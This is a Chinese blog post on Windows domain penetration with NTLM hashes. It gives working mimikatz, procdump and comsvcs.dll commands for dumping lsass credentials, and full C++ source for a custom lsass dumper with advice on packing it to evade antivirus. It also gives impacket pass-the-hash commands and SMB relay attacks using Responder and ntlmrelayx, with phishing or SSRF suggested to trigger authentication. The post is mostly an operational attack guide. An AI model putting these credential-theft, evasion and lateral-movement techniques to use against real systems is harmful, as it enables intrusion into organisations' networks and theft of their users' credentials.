域渗透06-协议(NTLM hash利用)

前言:

当我们获取到一台域内主机打算干什么,毫无疑问当然是拿域控,如果域控未发现漏洞应该怎么办,首先我们需要查看我们拿到主机的权限和在域中的组,如果本机权限够我们就需要利用工具抓取本机的hash,然后对内网其他主机进行哈希碰撞,如果成功,则利用哈希传递(Pass The Hash)获取shell,再进行进一步挖掘,或者我们可以采用NTLM Relay,然后配合其他漏洞触发NTLM验证,然后获取shell,但是这个方法实战中不是很使用,要求太苛刻,更多的是用哈希传递,这里对两个用法进行讲解:

哈希获取:

获取NTLMhash的方法有很多,因为lsass.exe中存贮NLTM哈希,所以基本思路就是使用工具直接获取lsass.exe中的NTLMhash,或者使用其他工具先dump下lsass.exe,然后同通过工具从dump文件中提取NLTM哈希,为什么要多此一举dump,主要还是因为要过杀软,毕竟dump进程的行为要比直接从lsass.exe获取hash安全得多:

使用mimikatz:

使用mimikatz获取hash,首先我们需要判断自己当前获取的权限是否为管理员权限,可以使用命令: net session

下图就可以看到当不为管理员权限的时候执行会返回权限不足: 

如果为最高权限,直接执行如下命令即可:

mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit"

 执行后可以在返回结果中找到NTLM,对应的值为NTLMhash,如果运气好,系统版本较低或者注册表开启了UseLogonCredential,则直接可以抓取到明文密码:

procdump+Mimikatz:

该组合方法为procdump获取lsass.exe进程转储,Mimikatz对转储文件本地分析获取hash,下面首先使用procdump获取转储:

首先我们去微软官网下载procdump:

https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump

使用如下命令获取lsass.dmp,但是同样需要管理员权限:

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

或者通过进程号进行dump:

tasklist | find "lsass"
procdump64.exe -accepteula -ma 804 804.dmp

 

然后使用mimikatz对lsass.dmp文件进行读取:

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"

comsvcs.dll+Mimikatz: 

如果想要通过系统自带的comsvcs.dll来dumplsass.exe,在dump指定进程内存文件时,需要开启SeDebugPrivilege权限。管理员权限的cmd下,状态为Disabled禁用状态:

whoami /priv | find  "SeDebugPrivilege"

但是在powershell中是允许:

chcp 65001 |whoami /priv | findstr  "SeDebugPrivilege"

所以只能通过powershell来执行:

rundll32.exe comsvcs.dll MiniDump 804 C:\\lsass.dmp full

然后使用mimikatz对lsass.dmp文件进行读取,另外如果杀软报警,则可以复制comsvcs.dll到一个新的目录并修改文件名称来进行命令行关键字绕过

自行DIY:

个人感觉这个方法是最好的,因为很好控制,编写一个遍历进程然后对lsass进行dump的代码,这样因为功能简单,很容易就能免杀,下面是一个网上的代码:

// Systempiv.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include<windows.h>
#include<tlhelp32.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment ( lib, "dbghelp.lib" )

using namespace std;


#define INFO_BUFFER_SIZE 32767
const unsigned long SE_DEBUG_PRIVILEGE = 0x14;
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef int(WINAPI *type_RtlAdjustPrivilege)(int, bool, bool, int*);


bool DebugPrivilege() {
	HANDLE hToken = NULL;
	int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
	if (hRet)
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		//取得描述权限的LUID
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
		//调整访问令牌的权限
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

		CloseHandle(hToken);
	}
	return 0;
}

bool ElevatePrivileges() {
	HMODULE hDll = ::LoadLibrary(L"ntdll.dll");
	type_RtlAdjustPrivilege RtlAdjustPrivilege = (type_RtlAdjustPrivilege)GetProcAddress(hDll, "RtlAdjustPrivilege");
	int nEn = 0;
	int nResult = RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, true, true, &nEn);
	if (nResult == 0x0c000007c)
	{
		nResult = RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, true, false, &nEn);
	}
	printf("RtlAdjustPrivilege back:%d\n", nResult);
	FreeLibrary(hDll);
	return 0;
}

DWORD GetPID() {
	DWORD PID = 0;
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 processEntry = {};
	processEntry.dwSize = sizeof(PROCESSENTRY32);
	LPCWSTR processName = L"";

	if (Process32First(snapshot, &processEntry))
	{
		while (_wcsicmp(processName, L"lsass.exe") != 0)
		{
			Process32Next(snapshot, &processEntry);
			processName = processEntry.szExeFile;
			PID = processEntry.th32ProcessID;
		}
	}
	printf("pid is:%d\n", PID);
	return PID;
}

bool dumpexe(DWORD PID) {
	WCHAR commandLine[MAX_PATH];
	WCHAR DumpFile[] = L"D:\\code\\dump\\Systempiv\\Debug\\dump.dmp";
	_MiniDumpW MiniDumpW;
	HMODULE hDll = ::LoadLibrary(L"comsvcs.dll");
	MiniDumpW = (_MiniDumpW)GetProcAddress( hDll, "MiniDumpW");
	if (MiniDumpW == NULL) {
		printf("MiniDumpW is null\n");
		return 0;
	}
	DebugPrivilege();
	//ElevatePrivileges();
	swprintf(commandLine, 512, L"%d %s full", PID, DumpFile);
	printf("commandLine is:  %ls\n", commandLine);
	// 调用 MiniDumpW 函数创建内存转储文件
	MiniDumpW(0, 0, commandLine);
	Sleep(1000);
	printf("ok\n");
	return 0;
}

int main() {
	DWORD PID = 0;
	PID = GetPID();
	dumpexe(PID);
}


代码首选需要拥有权限来内存进行操作,主要为DebugPrivilege()或者ElevatePrivileges()两个函数均可,DebugPrivilege函数主要使用AdjustTokenPrivileges函数对进程权限进行提升,AdjustTokenPrivileges函数是 Windows API 提供的标准函数,所以其被检测的可能性很高,所以可以选择第二种方法,ElevatePrivileges函数使用RtlAdjustPrivilege函数是 Windows NT 内部 API,用于调整当前线程的访问令牌特权级别,因为是通过dll动态加载可以更加的隐蔽。

dump内存这里选用的是动态加载comsvcs.dll,并获取MiniDumpW方法来实现dump,下面看下MiniDumpW的实现方法:

可以看到其最终其实还是调用MiniDumpWriteDump方法来实现dump指定进程,这里需要注意,如果权限不足或者创建文件失败则会直接调用ExitProcess退出进程,不会回到主程序中,测试的时候如果发现不执行后续代码,直接退出则为此原因:

另外需要注意系统的版本,如果系统是32位则编译为32位版本来dump,如果是64位则要生成64位代码进行测试,测试执行:

然后使用mimikatz读取,可以成功读取:

mimikatz.exe "sekurlsa::minidump dump.dmp" "sekurlsa::logonPasswords full" "exit"

在使用上述代码的过程中要注意,代码中不要出现lsass字符串,最好修改代码为PID通过命令行输出,然后对编译好的代码进行加壳后即可绕过市面绝大部分的杀毒软件查杀。 

哈希传递:

如果我们得到了其中一台的主机管理员权限,或者通过漏洞获取了其他主机的hash,那么我们就可以通过该hash使用impacker工具进行内网漫游,首先看看impacker中有哪些工具可以利用:

在impacker中有上述脚本是可以执行远程命令,下面测试哪些可以进行hash传递:

wmiexec.py -hashes :7b54*** domain.com/username@192.168.5.99
wmiexec.py domain.com/username:"password"@192.168.5.99
dcomexec.py -hashes :7b54*** domain.com/username@192.168.5.99
smbexec.py -hashes :7b54*** domain.com/username@192.168.5.99
psexec.py -hashes :7b54*** domain.com/username@192.168.5.99

SMB Relay攻击:

通过NTLM Relay抓取NET_NTLMhash的方式之前已经介绍过了,这里就不介绍了,这里介绍如何通过SMB Relay来获得远程shell:

首先我们要使用RunFinger扫描要攻击主机的是否开启SMB1

python2 RunFinger.py -i 192.168.5.1/24

如果没有开启,可以在如下地址进行设置 

扫描如下,如果为True则可以攻击,否则不行:

当存在为True的便可以进行攻击,攻击流程首先使用Responder,首先进行设置:

设置完成后使用如下命令启动:

python3 Responder.py -I eth0

下面就可以对指定主机进行攻击,比如我们希望获取主机192.168.5.89的shell,那么可以使用如下命令:

smbrelayx.py -h 192.168.5.89 -c 'whoami'

执行成功后,会将Responder拦截的所有NET_NTLMhash,并通过中间人的方式进行认证,如果权限允许,则可以在目标主机执行命令,注意能否执行成功一定要抓取到的NET_NTLMhash拥有权限能对被攻击主机进行访问操作权限,否则将会返回访问被拒绝,如下图:

当然我们也可以使用impacket的ntlmrelayx.py :

ntlmrelayx.py -t smb://192.168.5.99 -c whoami -smb2support

使用上述命令便可以进行转发攻击,和smbrelayx.py类似:

能够攻击成功主要取决于Responder能否抓取到权限较高的NET_NTLMhash,所以取决于当前的网络环境和高权限下主机有没有进行smb认证操作,如何触发认证,Responder中我们开启了http和smb,则当高权限主机做了如下操作都会触发:

这里需要注意,不要添加.com,如果添加则会走dns解析则无法抓取NET_NTLMhash,不加走的是对文件访问,则会触发smb认证.

上述三种都可触发smb认证,进而抓取NET_NTLMhash,然后通过该NET_NTLMhash去尝试连接被攻击主机,如果权限允许便可执行命令。所以我们可以采用钓鱼或者寻找web是否存在ssrf漏洞来触发smb认证,当然这个存在很大的运气成分,毕竟如果我们能在权限较高主机执行命令,那为何还要本末倒置去抓取NET_NTLMhash,直接使用NTLMhash进行内网漫游不是更方便,这个方法一般都是没有什么好的办法了,才会采用这种方法。

总结:

最后做个总结正常情况下如果我们拿到一台主机并且拥有管理员权限便可以直接抓取hash,这个时候可以根据系统是否打补丁来尝试抓取明文,如果抓取到明文那最好,抓取不到就直接使用hash进行内网漫游,如果内部密码管理不严格,大部分人未更换密码便可以登录其他主机,进而获取更多信息,当然如果不行,但是我们又想登录任意主机,这个时候我们可以利用NET_NTLMhash来进行中间人攻击,首先我们需要给域控主机或者管理员发送一个可以触发smb认证的链接,这样当对全局播报的时候,我们便可以伪造被攻击主机进行响应后将流量转发到被攻击主机完成校验,最终执行命令。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值